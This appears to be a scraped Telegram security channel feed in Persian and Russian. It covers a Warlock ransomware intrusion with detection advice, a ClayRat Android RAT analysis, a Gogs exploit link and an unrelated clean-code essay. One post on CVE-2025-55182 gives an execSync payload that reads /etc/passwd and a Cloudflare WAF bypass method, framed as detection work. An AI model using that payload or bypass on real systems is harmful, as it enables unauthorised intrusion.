cloudflared.exe برای ایجاد تانلهای خروجی امن که ترافیک مخرب را در دل ترافیک HTTPS قانونی مخفی میکند.تحلیل رفتاری و اشتباهات عجیب مهاجم 🥴
در جریان بررسی لاگها، چندین اشتباه مبتدیانه از سمت مهاجم (احتمالاً گروه Storm-2603) مشاهده شد که نشان میدهد حتی گروههای باجافزاری پیشرفته نیز دچار خطای انسانی میشوند:
* تایپ دستورات لینوکسی در ویندوز: مهاجم دستور
cat را در محیط CMD ویندوز اجرا کرده است!* فراموشی سینتکس: تلاش برای ساخت یوزر ادمین (
net user adminbak ... ) بدون سوئیچ /add که منجر به خطای دستور شد.* تلاشهای ناموفق: تلاش برای اجرای سرویس SSH قبل از نصب شدن آن روی سیستم.
باجافزار Warlock
هدف نهایی در یکی از این نفوذها، استقرار باجافزار Warlock بوده است. این باجافزار که از ژوئن ۲۰۲۵ فعال شده، پس از تثبیت دسترسی از طریق Velociraptor و غیرفعال کردن Windows Defender، اقدام به رمزگذاری فایلها میکند. نکته جالب اینجاست که در Note باجافزار، به دروغ ادعا شده نفوذ از طریق WSUS بوده، در حالی که شواهد فنی نفوذ از طریق SharePoint را تایید میکند (تکنیک Misdirection).
>> راهکارها
برای مقابله با این سبک از حملات که از ابزارهای مجاز سوءاستفاده میکنند، باید روی Behavioral Analytics تمرکز کنید:
۱. مانیتورینگ پروسههای فرزند IIS:
پروسه
w3wp.exe نباید پروسههایی مانند cmd.exe ، powershell.exe یا msiexec.exe را اسپان (Spawn) کند. این نشانه قطعی وجود Web Shell است.۲. بررسی نصبکنندههای MSI:
اجرای
msiexec که به URLهای خارجی (به خصوص دامنههای workers.dev یا github.io) اشاره دارد را بلاک کنید.۳. شناسایی ابزارهای مدیریتی غیرمجاز:
اگر در سازمان شما از Velociraptor استفاده نمیشود، وجود پروسه یا سرویس آن باید بلافاصله به عنوان Incident تلقی شود.
۴. کنترل تانلها:
ترافیک خروجی
code.exe یا cloudflared.exe را در فایروال لبه شبکه محدود کنید و آرگومانهای خط فرمان code.exe را برای کلمه کلیدی tunnel مانیتور کنید.@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
تحلیل بدافزار ClayRat:
نسل جدید جاسوسافزارهای اندرویدی با قابلیت دور زدن Play Protect
تیم تحقیقاتی زیمپریوم اخیراً از یک تروجان دسترسی از راه دور (RAT) جدید تحت عنوان ClayRat پرده برداشته است که سطح جدیدی از پیچیدگی در تهدیدات موبایلی را به نمایش میگذارد. این بدافزار که اولین بار در اکتبر ۲۰۲۵ شناسایی شد، با هدفگیری کاربران از طریق جعل برنامههای محبوب (مانند YouTube، تلگرام و اپلیکیشنهای خدماتی روسی) و توزیع از طریق دامینهای فیشینگ و حتی سرویسهای ابری مثل Dropbox، به سرعت در حال گسترش است.
مکانیزم عملکرد و فرار از شناسایی (Defense Evasion)
بدافزار ClayRat از یک تکنیک پیشرفته Dropper برای عبور از سدهای امنیتی اندروید استفاده میکند. برخلاف بدافزارهای سطح پایین، Payload مخرب اصلی در این بدافزار به صورت رمزنگاری شده با الگوریتم AES/CBC و کلیدهای تعبیهشده (Embedded Keys) در پوشه Assets برنامه مخفی میشود و تنها در زمان اجرا (Runtime) استخراج و فعال میگردد. این تکنیک باعث میشود آنالیز استاتیک و شناسایی امضا توسط آنتیویروسهای معمولی دشوار شود.
سوءاستفاده از Accessibility Services
خطرناکترین ویژگی ClayRat، بهرهبرداری تهاجمی از سرویسهای دسترسیپذیری (Accessibility) است. پس از فریب کاربر برای اعطای این مجوز به همراه مجوز پیشفرض SMS، بدافزار اقدامات زیر را انجام میدهد:
۱. غیرفعالسازی Google Play Protect: بدافزار با شبیهسازی کلیکهای کاربر، وارد تنظیمات شده و سپر امنیتی گوگل را بدون اطلاع قربانی خاموش میکند.
۲. سرقت اعتبارنامه قفل صفحه: تمامی تعاملات کاربر با صفحه قفل (Lock Screen) مانیتور میشود. الگوها (Patterns)، پینکدها و پسوردها با دقت بالا بازسازی شده و در
SharedPreferences (تحت کلید lock_password_storage) ذخیره میشوند.۳. بازگشایی خودکار (Auto-unlock): با استفاده از اعتبارنامههای سرقت شده، بدافزار میتواند مکانیزم امنیتی صفحه قفل را دور زده و دسترسی مداوم خود را حفظ کند.
قابلیتهای جاسوسی و Exfiltration
پس از استقرار کامل، ClayRat دسترسی کاملی به دادههای قربانی پیدا میکند:
* سرقت کامل پیامکها (SMS) و لیست تماسها.
* شنود و رهگیری نوتیفیکیشنها (برای سرقت کدهای 2FA).
* ضبط صفحه نمایش با استفاده از MediaProjection API.
* عکسبرداری مخفیانه با دوربین دستگاه.
...
شماهایی که سریع دست به اس.لحه (صفحهکلید ... ) هستین حتما نگهبانی گماشتین دیگه . با دسترسی به AccessibilityService و ایجاد آپشنهای مختلف رصد کنید و تحلیل رفتار پویا داشته باشید .
@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
CVE-2025-55182-custom-simple.yaml
1 KB
🔥 Интересный кейс с CVE-2025-55182 и байпас Cloudflare
При детекте уязвимости CVE-2025-55182 (React Server Components RCE) столкнулся с проблемой:
❌темплейты не детектили уязвимость на ряде хостов где ручная валидация POST реквеста находила
❌ Официальный темплейт от ProjectDiscovery тоже не сработал
💡 Найденное решение - байпас Cloudflare:
Ключевое отличие - огромный base64 блок (131KB) с случайным именем поля "hlmvbjtvunst".
Зачем это нужно:
🔹 Большой размер запроса обходит проверки размера WAF
🔹 Случайные данные обходят сигнатурные проверки
🔹 Случайное имя поля обходит проверки имен полей
📝 Структура payload:
Результат возвращается через redirect:
✅ Финальное решение:
Создал универсальный темплейт с двухэтапным подходом:
1. Первый блок - без base64 (быстро для обычных инстансов)
Проверяет 7 стандартных путей:
2. Второй блок - с base64 обходом Cloudflare (если первый не сработал)
Особенности:
• Работает на разных путях Next.js/React Server Components
• Автоматически определяет необходимость байпаса Cloudflare
• Прямой детект через чтение
• Специфичные matchers избегают ложных срабатываний
💭 Выводы:
1. WAF/Cloudflare могут блокировать даже валидные эксплойты
2. Большие случайные данные могут обходить защиту
3. Важно анализировать рабочие запросы из Burp, а не только PoC
4. Двухэтапный подход оптимизирует массовое сканирование
При детекте уязвимости CVE-2025-55182 (React Server Components RCE) столкнулся с проблемой:
❌темплейты не детектили уязвимость на ряде хостов где ручная валидация POST реквеста находила
❌ Официальный темплейт от ProjectDiscovery тоже не сработал
💡 Найденное решение - байпас Cloudflare:
Ключевое отличие - огромный base64 блок (131KB) с случайным именем поля "hlmvbjtvunst".
Зачем это нужно:
🔹 Большой размер запроса обходит проверки размера WAF
🔹 Случайные данные обходят сигнатурные проверки
🔹 Случайное имя поля обходит проверки имен полей
📝 Структура payload:
execSync('cat /etc/passwd | awk -v ORS=- 1')
Результат возвращается через redirect:
X-Action-Redirect: /login?a=root:x:0:0:root:/root:/bin/sh-...
✅ Финальное решение:
Создал универсальный темплейт с двухэтапным подходом:
1. Первый блок - без base64 (быстро для обычных инстансов)
Проверяет 7 стандартных путей:
/api, /, /formaction, /actions и др.2. Второй блок - с base64 обходом Cloudflare (если первый не сработал)
Особенности:
• Работает на разных путях Next.js/React Server Components
• Автоматически определяет необходимость байпаса Cloudflare
• Прямой детект через чтение
/etc/passwd• Специфичные matchers избегают ложных срабатываний
💭 Выводы:
1. WAF/Cloudflare могут блокировать даже валидные эксплойты
2. Большие случайные данные могут обходить защиту
3. Важно анализировать рабочие запросы из Burp, а не только PoC
4. Двухэтапный подход оптимизирует массовое сканирование
malware-analysis-report-brickstorm-backdoor.pdf
1.4 MB
گزارش تحلیل بدافزار بکدور BRICKSTORM که توسط هکرهای دولتی چین و با زبان GO نوشته شده . ارائه مشترک توسط آژانس امنیت سایبری و زیرساخت (CISA)، آژانس امنیت ملی (NSA) و مرکز امنیت سایبری کانادا (CCCS) در تاریخ ۴ دسامبر ۲۰۲۵ منتشر شده است.
آسیب پذیری در Gogs , یک پلتفرم سلفهاست متنباز برای مدیریت مخازن Git.
https://github.com/Ashwesker/Blackash-CVE-2025-8110
https://github.com/Ashwesker/Blackash-CVE-2025-8110
gogs.io
Gogs: A painless self-hosted Git service
Gogs is a painless self-hosted Git service.
Forwarded from Md Daily (Mahan)
کد تمیز افسانه نیست؛ فقط دوام نمیاره
مشکل این نیست که هیچکس کد تمیز نمینویسه.
مشکل اینه که کد تمیز تو پروژههای واقعی، زیر فشارِ کار کمکم داغون میشه.
اگه یه مدت تو یه تیم کار کرده باشی، حتماً دیدی: کدی که اوایل مرتب و قابل فهم بوده، با اضافه شدن فیچرهای عجلهای، ددلاینها و تصمیمهای لحظهای، کمکم شلوغ و سختفهم میشه. نه به این خاطر که برنامهنویسا بلد نیستن، به این خاطر که واقعیت پروژه این شکلیه.
✨ اصلاً کد تمیز یعنی چی؟
کد تمیز یه چیز کاملاً سلیقهای نیست. بعضی چیزاش واضحه: اسم متغیر و فانکشن باید درست باشه، هر تیکه کد باید کار خودش رو بکنه، وابستگیها نباید قاطیپاطی باشن و بشه راحت تغییرش داد بدون اینکه کل سیستم بریزه به هم.
البته همهچیز هم قانون خشک نداره. کدی که امروز تمیزه، ممکنه چند ماه دیگه فقط قابل تحمل باشه.
تعریف سادهش اینه: کدی که تغییر دادنش از نوشتنش کمهزینهتره.
🖥 پروژهها از اول داغون نیستن، داغون میشن.
تقریباً هیچ پروژهای از همون اول شلخته شروع نمیشه. همهچی مرتب و با برنامه جلو میره. ولی کمکم ددلاین میاد، مشتری عجله داره، بازار فشار میاره. اگه حواست نباشه، اون نظم اولیه میپاشه.
🖥 پروتوتایپی که قرار نبود بمونه.
یه کد موقتی مینویسن که فقط یه چیز رو نشون بده. قرار بوده یکی دو هفته بعد بندازنش دور. ولی بیزنس خوشش میاد، میگه یه چیز کوچولو هم بهش اضافه کن. بعد یکی دیگه. بعد یهو همون کد میره تو پروداکشن و میشه هستهی سیستم. اینجا مشکل کد بد نیست، مشکل اینه که تصمیم بد جدی گرفته شده.
🖥 ریفکتوری که تموم نمیشه.
اگه یه تمیزکاری سالها طول کشیده، معمولاً مشکل از کد نیست. یا تست ندارین، یا معلوم نیست مسئول این بخش کیه، یا همه میترسن دست بزنن چیزی خراب بشه. ریفکتور وقتی به کار واقعی وصل نباشه، میشه کاری که همیشه هست ولی هیچوقت تموم نمیشه.
سنیور سختگیر همیشه خوب نیست.
سنیوری که فقط ایراد میگیره و فضا رو ترسناک میکنه، به تمیز شدن کد کمک نمیکنه. باعث میشه بقیه یواشکی کد بزنن که فقط کار راه بیفته. اینجوری کد بد قایم میشه، نه اینکه درست بشه.
راهحلهای موقت، وقتی دائم میشن دردسر میسازن.
یه هک سریع یا فلگ موقتی بعضی وقتا لازمه. مشکل وقتی شروع میشه که اسم درست نداره، کسی نمیدونه چرا هست، و معلوم نیست کی باید حذفش کنه. اون موقع میشه یه تیکه خطرناک که همه ازش فرار میکنن.
🤖 هوش مصنوعی کد زشت نمینویسه، کد بیمسئولیت مینویسه.
کدی که AI میده معمولاً قشنگه، ولی نمیدونه پروژه قراره کجا بره، چرا این تصمیم گرفته شده، و آخرش کی قراره نگهداریش کنه. کدی که صاحب نداشته باشه، حتی اگه تمیز به نظر بیاد، آخرش دردسر میشه.
📊 بیزنس و کد دشمن هم نیستن.
بیزنس میخواد زنده بمونه، برنامهنویس میخواد سیستم نخوابه. نه سرعت بدون فکر جواب میده، نه وسواس بیش از حد. کدی که نشه راحت تغییرش داد، بیزنس رو کند میکنه. بیزنسی هم که به کد اهمیت نده، بعداً هزینهشو میده.
🤔 پس بیخیال کد تمیز بشیم؟ نه.
ولی واقعبین باشیم. کد تمیز یه مقصد نیست، یه تعهده. تعهد به تیم، به خودِ چند ماه بعدمون، و به پروژهای که قراره زنده بمونه. نه وسواس، نه شلگیری. فقط مسئولیت.
🔗 برای نوشتن این پست از این منبع خیلی الهام گرفته شده:
https://dev.to/sylwia-lask/nobody-writes-clean-code-we-all-just-pretend-11d1
—-
💡 مثل همیشه کنجکاو بمونید :)
🆔 @MdDaily
مشکل این نیست که هیچکس کد تمیز نمینویسه.
مشکل اینه که کد تمیز تو پروژههای واقعی، زیر فشارِ کار کمکم داغون میشه.
اگه یه مدت تو یه تیم کار کرده باشی، حتماً دیدی: کدی که اوایل مرتب و قابل فهم بوده، با اضافه شدن فیچرهای عجلهای، ددلاینها و تصمیمهای لحظهای، کمکم شلوغ و سختفهم میشه. نه به این خاطر که برنامهنویسا بلد نیستن، به این خاطر که واقعیت پروژه این شکلیه.
کد تمیز یه چیز کاملاً سلیقهای نیست. بعضی چیزاش واضحه: اسم متغیر و فانکشن باید درست باشه، هر تیکه کد باید کار خودش رو بکنه، وابستگیها نباید قاطیپاطی باشن و بشه راحت تغییرش داد بدون اینکه کل سیستم بریزه به هم.
البته همهچیز هم قانون خشک نداره. کدی که امروز تمیزه، ممکنه چند ماه دیگه فقط قابل تحمل باشه.
تعریف سادهش اینه: کدی که تغییر دادنش از نوشتنش کمهزینهتره.
تقریباً هیچ پروژهای از همون اول شلخته شروع نمیشه. همهچی مرتب و با برنامه جلو میره. ولی کمکم ددلاین میاد، مشتری عجله داره، بازار فشار میاره. اگه حواست نباشه، اون نظم اولیه میپاشه.
یه کد موقتی مینویسن که فقط یه چیز رو نشون بده. قرار بوده یکی دو هفته بعد بندازنش دور. ولی بیزنس خوشش میاد، میگه یه چیز کوچولو هم بهش اضافه کن. بعد یکی دیگه. بعد یهو همون کد میره تو پروداکشن و میشه هستهی سیستم. اینجا مشکل کد بد نیست، مشکل اینه که تصمیم بد جدی گرفته شده.
اگه یه تمیزکاری سالها طول کشیده، معمولاً مشکل از کد نیست. یا تست ندارین، یا معلوم نیست مسئول این بخش کیه، یا همه میترسن دست بزنن چیزی خراب بشه. ریفکتور وقتی به کار واقعی وصل نباشه، میشه کاری که همیشه هست ولی هیچوقت تموم نمیشه.
سنیور سختگیر همیشه خوب نیست.
سنیوری که فقط ایراد میگیره و فضا رو ترسناک میکنه، به تمیز شدن کد کمک نمیکنه. باعث میشه بقیه یواشکی کد بزنن که فقط کار راه بیفته. اینجوری کد بد قایم میشه، نه اینکه درست بشه.
راهحلهای موقت، وقتی دائم میشن دردسر میسازن.
یه هک سریع یا فلگ موقتی بعضی وقتا لازمه. مشکل وقتی شروع میشه که اسم درست نداره، کسی نمیدونه چرا هست، و معلوم نیست کی باید حذفش کنه. اون موقع میشه یه تیکه خطرناک که همه ازش فرار میکنن.
کدی که AI میده معمولاً قشنگه، ولی نمیدونه پروژه قراره کجا بره، چرا این تصمیم گرفته شده، و آخرش کی قراره نگهداریش کنه. کدی که صاحب نداشته باشه، حتی اگه تمیز به نظر بیاد، آخرش دردسر میشه.
بیزنس میخواد زنده بمونه، برنامهنویس میخواد سیستم نخوابه. نه سرعت بدون فکر جواب میده، نه وسواس بیش از حد. کدی که نشه راحت تغییرش داد، بیزنس رو کند میکنه. بیزنسی هم که به کد اهمیت نده، بعداً هزینهشو میده.
ولی واقعبین باشیم. کد تمیز یه مقصد نیست، یه تعهده. تعهد به تیم، به خودِ چند ماه بعدمون، و به پروژهای که قراره زنده بمونه. نه وسواس، نه شلگیری. فقط مسئولیت.
https://dev.to/sylwia-lask/nobody-writes-clean-code-we-all-just-pretend-11d1
—-
🆔 @MdDaily
Please open Telegram to view this post
VIEW IN TELEGRAM